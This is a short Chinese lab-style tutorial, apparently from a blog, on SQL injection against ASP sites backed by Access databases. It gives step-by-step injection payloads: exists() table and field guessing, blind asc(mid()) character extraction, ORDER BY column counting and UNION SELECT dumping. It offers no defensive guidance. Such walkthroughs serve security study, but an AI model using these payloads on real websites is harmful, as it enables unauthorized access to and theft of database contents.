ASP+ACCESS注入
实验的环境:Windows+Access+IIS6.0+ASP
网站url例如:http://x.x.x/index.asp?id=1 ;网站内某篇文章里面例如?id=x这种形式
路径: C:\Inetpub\wwwroot
实验过程:
一、猜表名
可在注入点后提交如下语句进行查询:
and exists (select * from 表名)
and (select count(*) from 表名)>=0
上面的语句是判断数据库中是否存在指定数据库表名。如果页面返回出错,那么可更换其他常见数据库表明继续进行查询;
exists()是判断是否存在,存在返回true,否则返回false。
二、猜字段名及字段长度
在注入点后提交如下语句:
and exists(select 字段名 from 表名) and (select count(字段名) from 表明)>=0
如果存在此字段名,返回页面正常,否则可更换字段名继续进行猜测。count(*)返回表中的记录数
三、猜解字段长度,可提交如下查询语句。
and (select top 1 len(字段名) from 表名)>1 and (select top 1 len(字段名) from 表名)>2 and (select top 1 len(字段名) from 表名)>n
当提交>n-1时正常,而提交到>n时返回错误,那么说明字段长度为n。top子句用来用于规定要返回的记录的数目。len()返回文本字段中值得长度。
猜字段值
四、猜字段的ascii值,可在注入点后提交如下查询语句:
and (select top 1 asc(mid (字段名,1,1)) from 表名)>0 and (select top 1 asc(mid (字段名,1,1)) from 表名)>1 and (select top 1 asc(mid (字段名,1,1)) from 表名)>n
当提交>n-1时正常,而提交>n时返回出错,那么说明字段值的ascii码为n,反查ascii码对应的字符,就可得到字段值的第一位字符。在继续提交如下查询:
and (select top 1 asc(mid (字段名,2,1)) from 表名)>0
用于上面相同的方法,可得到第二位字符。在继续进行查询,直接猜解出字段的所有字符值为止。mid()函数用于从文本字段中提取字符,asc()函数可把字符串中的第一个字母转换为对应的ASCII码。
Order by 猜字段数目
五、利用order by 猜解字段数目,查询语句如下:
Order by 1 Order by 2 Order by n
六、Union select 爆字段内容
得到字段长度后,就可利用union select查询获得字段内容了:
and 1=2 union select 1,2,3...,n from 表名
执行上面的查询时,在页面中会返回数字,修改查询语句中的数字为字段名,例如提交如下代码:
and 1=2 union select 1,字段名,字段2...,n from 表名
在页面中就会返回字段值,不必逐个进行猜解。
发表吐槽
你肿么看?
既然没有吐槽,那就赶紧抢沙发吧!